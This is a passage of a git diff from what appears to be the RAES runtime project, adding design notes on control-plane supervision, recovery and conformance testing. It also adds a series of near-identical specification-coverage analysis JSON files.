cycle exposed arrival-selected concurrency, +an ambiguous-order winner and coordinate overflow. Review then exposed missing +action/control/attempt target projection; six additional failing cases covered +that gap and a scope-intersection correction. The final 40 cases pass. +The property case enumerates all 64 patterns of six accepted/stale attempts, +checking history-prefix preservation, revision increments and replay continuity. +The ordering case checks both arrival permutations. Window checks exercise +independent order/time endpoints. These finite checks establish no unbounded +theorem or correspondence to the production runtime. + +| Issue criterion / canonical amendment | Artifact and evidence | +| --- | --- | +| Separate reusable permissions from occurrence coordinates; retain finite scripts / ACT-617 | MC-01–03, cycle and script tests, first worked case. | +| Exact state, concurrency, authority, validity, retry and episode boundaries / RUN-310 | MC-03–08, stale/authority/window/commit/retry/replay/limit tests and cases above. | +| Portable target/revision/disposition semantics / API-409 | MC-03/05–07, proposal/conflict/target tests; kind matrix and rejected-attempt cases. | +| Direction/intervention bindings without promoting injects or principals / DSL-142 | MC-04/09, exact delivery-join test and delivery cases. | +| Accepted decision, canonical amendments, history and migration | ADR-110, all four requirement files, migration matrix, existing policy and ADR-pin gates. | + +The abstract model assumes trusted policy/grant/target resolution, a fixed +target/run, symbolic evidence witnesses and an atomic store. It checks a +handoff/proposal/approval/denial/direction/intervention projection; override, +cancellation, real evidence validation, delivery consumption, audience/flow +enforcement, clock mappings, physical effects and backend behavior are specified +in the cases and normative contract, not implemented by this test model. +The replay projection checks state continuity, not complete historical +authorization. Authentication tests exercise a supplied subject-binding cut, +not the HTTP adapter. Ambiguous-order refusal leaves the abstract state intact; +bounded operational rejection audit is outside that projection. + +Every permitted direction/intervention target kind has a positive case and +wrong-kind/revision/episode/identity counterexamples. Control targets are +registered only by accepted model occurrences; action/attempt targets come from +a separate trusted incumbent projection with an availability cut. Future +incumbent targets and rejected control records cannot authorize applications. +The model operates on already validated typed inputs; it is not an ingress +parser or evidence resolver. + +The 130 incumbent ACT-617, API-409, RUN-310 and DSL-142 tests pass at the +assessment baseline. They protect the existing fixed-coordinate implementation +and are not evidence that it implements this amendment. Publication pins, +scoped repository/requirement policy and local-link checks protect the design +artifacts; review assesses their semantic completeness. diff --git a/docs/research/runtime-control-plane/composition-architecture.md b/docs/research/runtime-control-plane/composition-architecture.md index d707ba228..53e486341 100644 --- a/docs/research/runtime-control-plane/composition-architecture.md +++ b/docs/research/runtime-control-plane/composition-architecture.md @@ -10,6 +10,11 @@ boundaries, and failure and recovery behavior. Nothing here is claimable before its implementation work package (see the [implementation program](implementation-program.md)) lands with tests. +The [issue #1348 decision](../../decisions/issue-1348-operation-lifecycle.md) +and [formal supplement](../../../specs/formal/runtime-control-plane/supervision.md) +refine supervision and recovery. RAE remains the shared product runtime driving +backends; profiled control-plane storage is one component of that runtime. + ## 1. Position in the RAES stack SDL authoring and the processor produce compiled plans; backends realize @@ -112,6 +117,13 @@ Nothing replays automatically. Host loss and network partition reduce to process loss at P0–P2 because ownership is single-process; the partition cases that require distributed reasoning are exactly the P3 nonclaim. +For the supervision design, every external callback, including recovery +observation, consumes a bounded operational budget. An absent-effect observation +is conclusive only when no late effect remains possible. Known partial effects +require validated residual state; missing carrier support or unproved cessation +requires indeterminacy. Store acknowledgement loss instead uses atomic readback +and poisoned readiness. Neither case authorizes another invocation. + Request cancellation does not cancel a worker thread or prove that a backend effect stopped. A client-side timeout or broken connection leaves the durable operation authoritative; the caller retries with the same scoped idempotency @@ -121,11 +133,23 @@ completes. An indeterminate terminal record is immutable; deliberate operator resolution creates a linked operation and audit event rather than rewriting history. +Credential-bearing retries after restart still fail closed when the existing +ephemeral exact-input proof is unavailable; authorized status retrieval remains +separate. A fresh key does not authorize repeated work. Administrative snapshot +acceptance cannot establish cessation or discharge evidence required for reuse. +Workflow retry and SCE-007 attempt policy govern repeated work; resumption needs +an admitted continuation boundary, and a new trial needs its own allocation. + ## 7. Concurrency control - **In-process**: one control-plane mutation authority serializes every mutation path within the owner. Path-local locks and the HTTP adapter lock are subordinate safeguards, not separate consistency domains. + The supervision design separates short state commits from retained execution + reservations so a blocked external call cannot monopolize supervisory access. + Current code still retains its logical permit across those calls; the design + is not evidence of deployed bounded interruption. Conflicting effects stay + excluded until cessation and reconciliation are established. - **Cross-process**: the store lease (CP-5) admits exactly one owner; a second process fails closed at admission rather than corrupting state. - **Optimistic safety net**: snapshot commits carry a revision and commit diff --git a/docs/research/runtime-control-plane/conformance.md b/docs/research/runtime-control-plane/conformance.md new file mode 100644 index 000000000..99f77e853 --- /dev/null +++ b/docs/research/runtime-control-plane/conformance.md @@ -0,0 +1,71 @@ +# Runtime control-plane conformance + +CP-9 exercises the reference compositions against +[ADR-104](../../decisions/adrs/adr-104-runtime-control-plane-architecture.md) +and the [FM3 operation model](../../../specs/formal/runtime-control-plane/README.md). +The suite is selected with one pytest marker, including the retained #1092 / PR +#1136 crash-consistency regressions. Specialized tests keep their existing owners. + +From the repository root, run all selected default, integration, and property +cases in the locked environment: + +```shell +RAES_REQUIREMENT_UID=API-404 uv run --project implementations/python --all-extras --frozen python -m pytest implementations/python/tests -m control_plane_conformance -q +``` + +The explicit marker expression replaces pytest's default exclusions. A plain +pytest run omits the process-loss and fuzz cases and is not a complete CP-9 run. +CI's existing integration lane runs the process cases; the default shards run +the deterministic matrix and security cases. The generated sequences also +belong to the existing fuzz lane, which must be reported separately from the +unit/integration CI graph. No Docker daemon or external service is required. + +## Reference compositions and limits + +| Composition | Shared evidence | Process-loss interpretation | +| --- | --- | --- | +| P0: core with in-memory store | Scoped retries, actor/scope isolation, one mutation authority, revision CAS, coherent reads, lifecycle and atomic terminal audit | A new process has no run, receipt, snapshot, or retained claim. An external effect can survive and an explicit new submission can invoke it again. No durability or persisted deduplication. | +| P1: core with local SQLite store | P0 in-process guarantees plus lease ownership, target/run pinning, strict durable carriers, backup/restore | An abrupt owner exit leaves no committed claim, interrupted work, or the complete snapshot/record/audit cut. Startup classifies without invoking again. | +| P2: authenticated ASGI adapter over a P1 core | P1 plus transport authentication, spoofing rejection, actor-bound disclosure, revision-bearing reads and lifespan ownership | The same durable owner boundaries are exercised through HTTP submission and status reads. Multiple clients do not imply multiple service owners. | + +The composition factory is test-only. It does not publish capability discovery +or a second production profile registry; CP-10 owns that surface. + +## Evidence map + +Paths below are relative to `implementations/python/tests/`. + +| Obligation | Executable evidence | +| --- | --- | +| Abrupt claim, dispatch/effect, terminal write, commit and response boundaries | `test_issue_1187_control_plane_process_loss.py`; a spawned child acknowledges the exact cut and blocks before its supervisor kills it. Partial claim and snapshot/record/audit writes delegate to the real SQLite transaction. | +| Reconciliation, repeated reopen and interrupted recovery commits | The same process suite plus `test_issue_1179_startup_reconciliation.py`; independently retained backend events and snapshots distinguish absence/applied observations from no observation. | +| Shared P0/P1/P2 idempotency, concurrency, isolation, CAS/cache coherence and restored receipts | `test_issue_1187_control_plane_profiles.py` | +| Every legal/illegal state pair, bounded generated sequences, all operation kinds and exact retry | `test_issue_1187_control_plane_lifecycle_properties.py`; its independent FM3 oracle also detects a deliberately disabled transition guard. | +| Well-hashed malformed carriers and integrity failures | `test_issue_1187_control_plane_durable_carriers.py` plus the #1092, #1181 and #1182 codec tests; rejection preserves the invalid offline history and performs no backend invocation. | +| Authentication configuration, provider redaction and audit-failure responses | `test_issue_1187_control_plane_security_conformance.py`, `test_runtime_control_plane_api.py`, `test_issue_1093_request_rejection_offload.py`, and the marked required-observation failure case in `test_issue_1212_observation_demand.py` | +| Operation-family entry points, snapshot-bearing/operation-only commits, participant heads and cross-family serialization | `test_issue_1181_unified_control_plane_mutations.py`, `test_runtime_control_plane.py`, `test_runtime_control_plane_api.py`, `test_run_310_supervisory_lifecycle.py`, and `test_run_319_participant_flow_policy.py` | +| Lease/process admission, scope pinning, filesystem/WAL/migration discipline | `test_issue_1092_control_plane_crash_consistency.py` and `test_issue_1183_store_ownership_leases.py` | +| CAS, store-authoritative idempotency and cache readback | `test_issue_1180_snapshot_revision_cas.py` and `test_issue_1184_atomic_idempotency_claims.py` | +| Recovery operations, health, restore rollback and secondary-audit failures | `test_issue_1186_control_plane_recovery_operations.py` | + +The abrupt-process matrix uses an admitted empty provisioning plan and a +reference stub without a realization envelope. Its independent effect witness +records dispatch, applied outcome, and the actual neutral snapshot. This keeps +the observation within its existing authority: recovery may not invent a +provisioning plan or authorize new resource/realization state from an observer's +assertion. Existing rejection cases cover semantically invalid applied results. +The logical snapshot revision still changes only with the atomic terminal cut. +Per-family entry-point tests and store tests over every `OperationKind` complement +this common mutation-path crash matrix; they are not separate end-to-end crash +claims for every possible participant or backend operation. + +Test results are finite evidence for the named composition, case, and platform. +Report platform skips, selected lanes and failures explicitly. Process termination +does not establish power-loss durability on arbitrary filesystems. A simulated +Windows lock branch on POSIX does not establish native Windows behavior. + +The suite makes no P3 coordination, multi-owner/tenant service, exactly-once +external-effect, tamper-evidence, or universal recovery-proof claim. Payload +digests detect corruption; a writer able to replace both content and digest is +not thereby authenticated. ASGI tests do not verify deployment TLS, trusted-proxy +header stripping, external backend recovery, or a matching backend backup. diff --git a/docs/research/runtime-control-plane/current-state-assessment.md b/docs/research/runtime-control-plane/current-state-assessment.md index dd7b1463b..87c9673b8 100644 --- a/docs/research/runtime-control-plane/current-state-assessment.md +++ b/docs/research/runtime-control-plane/current-state-assessment.md @@ -13,6 +13,14 @@ tree (`cba73a81`). The original findings still hold. The refresh additionally found the codec, workflow, and identity-scope gaps recorded below; these are current-repository evidence, not claims imported from the deferred store work. +Post-assessment status: CP-1 and CP-2 subsequently established the closed +operation lifecycle and atomic mutation boundary. CP-3 issue #1179 closes the +startup-reconciliation gap identified here through the runtime-owned, +backend-neutral classification design recorded in the +[CP-3 preflight](../../decisions/issue-1179-startup-reconciliation-preflight.md). +This document remains the dated evidence snapshot; it is not an assertion that +the original gaps remain in the current tree. + ## 1. The contract surface today `raes_runtime/control_plane.py` defines `RuntimeControlPlane`. Its diff --git a/docs/research/runtime-control-plane/implementation-program.md b/docs/research/runtime-control-plane/implementation-program.md index 1b7b31a32..96df54c4d 100644 --- a/docs/research/runtime-control-plane/implementation-program.md +++ b/docs/research/runtime-control-plane/implementation-program.md @@ -86,6 +86,12 @@ a separately authorized linked operation and never rewrites the original. Verification: restart tests per classification, including the no-observation backend, plus authorization tests for resolution. Depends on: CP-1, CP-2. +Implemented by issue #1179 with recovery observation kept independent from +EXP-715 experiment capture/retention/export. The runtime classifies and commits +before readiness through the existing mutation and durability authorities; +unresolved indeterminate outcomes quarantine only their target/run until an +operator or trusted embedder records a fresh linked administrative resolution. + ### [CP-4 — Snapshot revision compare-and-swap](https://github.com/OpenRAE/rae/issues/1180) Version every snapshot commit; a writer holding a stale revision fails diff --git a/docs/research/runtime-control-plane/index.md b/docs/research/runtime-control-plane/index.md index b986749dc..e6471deb9 100644 --- a/docs/research/runtime-control-plane/index.md +++ b/docs/research/runtime-control-plane/index.md @@ -11,6 +11,8 @@ exposed, and it disposes of those surfaces explicitly. - [Architecture preflight](../../decisions/issue-1151-runtime-control-plane-architecture-preflight.md) - [ADR-104](../../decisions/adrs/adr-104-runtime-control-plane-architecture.md) - [CP-2 unified-mutation preflight](../../decisions/issue-1181-unified-control-plane-mutations-preflight.md) +- [CP-3 startup-reconciliation preflight](../../decisions/issue-1179-startup-reconciliation-preflight.md) +- [CP-5 store-ownership lease preflight](../../decisions/issue-1183-store-ownership-lease-preflight.md) - [Current-state assessment](current-state-assessment.md) - [Composition architecture](composition-architecture.md) - [Requirement and surface disposition](requirement-disposition.md) @@ -28,3 +30,8 @@ distributed or highly available topology. Profile P3 (coordinated multi-process ownership) is recorded as a seam and an explicit nonclaim; no consistency, coordination, or recovery guarantee named in this set is claimable before its implementation issue lands with tests. + +The subsequent [execution architecture selection (#1350)](../execution-architecture/README.md) +reuses Temporal/PostgreSQL for distributed execution while preserving local +profiles, authored failure/retry policy and RAE's semantic responsibilities. +It does not enable P3 or certify the distributed implementation. diff --git a/docs/research/specification-coverage/analysis-v16.json b/docs/research/specification-coverage/analysis-v16.json new file mode 100644 index 000000000..957a82995 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v16.json @@ -0,0 +1,88 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-342-v16", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v16.json", + "docs/research/specification-coverage/analysis-v16.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-15", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-342-v16", + "snapshot_sha256": "5aafb2d0611a79e868ff76e55eb84e0f980cadafb4fe81c336d5d488e7f81cca" +} diff --git a/docs/research/specification-coverage/analysis-v17.json b/docs/research/specification-coverage/analysis-v17.json new file mode 100644 index 000000000..829a0266f --- /dev/null +++ b/docs/research/specification-coverage/analysis-v17.json @@ -0,0 +1,88 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1241-v17", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v17.json", + "docs/research/specification-coverage/analysis-v17.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-15", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1241-v17", + "snapshot_sha256": "94f204acd650abd793b7aad0f986970df76f59f2b12294a1d0986d4435951117" +} diff --git a/docs/research/specification-coverage/analysis-v18.json b/docs/research/specification-coverage/analysis-v18.json new file mode 100644 index 000000000..2b356fd60 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v18.json @@ -0,0 +1,88 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1237-v18", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v18.json", + "docs/research/specification-coverage/analysis-v18.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-15", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1237-v18", + "snapshot_sha256": "a73c43912e6f95697652c0cd89d0e2f51ca252a43bba85b96aaa5440bece5dd7" +} diff --git a/docs/research/specification-coverage/analysis-v19.json b/docs/research/specification-coverage/analysis-v19.json new file mode 100644 index 000000000..ef6a03bcd --- /dev/null +++ b/docs/research/specification-coverage/analysis-v19.json @@ -0,0 +1,88 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1237-v19", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v19.json", + "docs/research/specification-coverage/analysis-v19.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-15", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1237-v19", + "snapshot_sha256": "2277983fc00580994fb8a70c3dbe0d88d49ff232d91e58e7d70e85a6174b6eda" +} diff --git a/docs/research/specification-coverage/analysis-v20.json b/docs/research/specification-coverage/analysis-v20.json new file mode 100644 index 000000000..f9db06718 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v20.json @@ -0,0 +1,88 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-959-v20", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-959-v20", + "snapshot_sha256": "ac5d522e97311f125445bee53b162085c3bb0b6bdd4e563bff8f372f83e17c4e" +} diff --git a/docs/research/specification-coverage/analysis-v21.json b/docs/research/specification-coverage/analysis-v21.json new file mode 100644 index 000000000..7718f57f2 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v21.json @@ -0,0 +1,89 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-341-v21", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-16T04:13:34.240813+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not 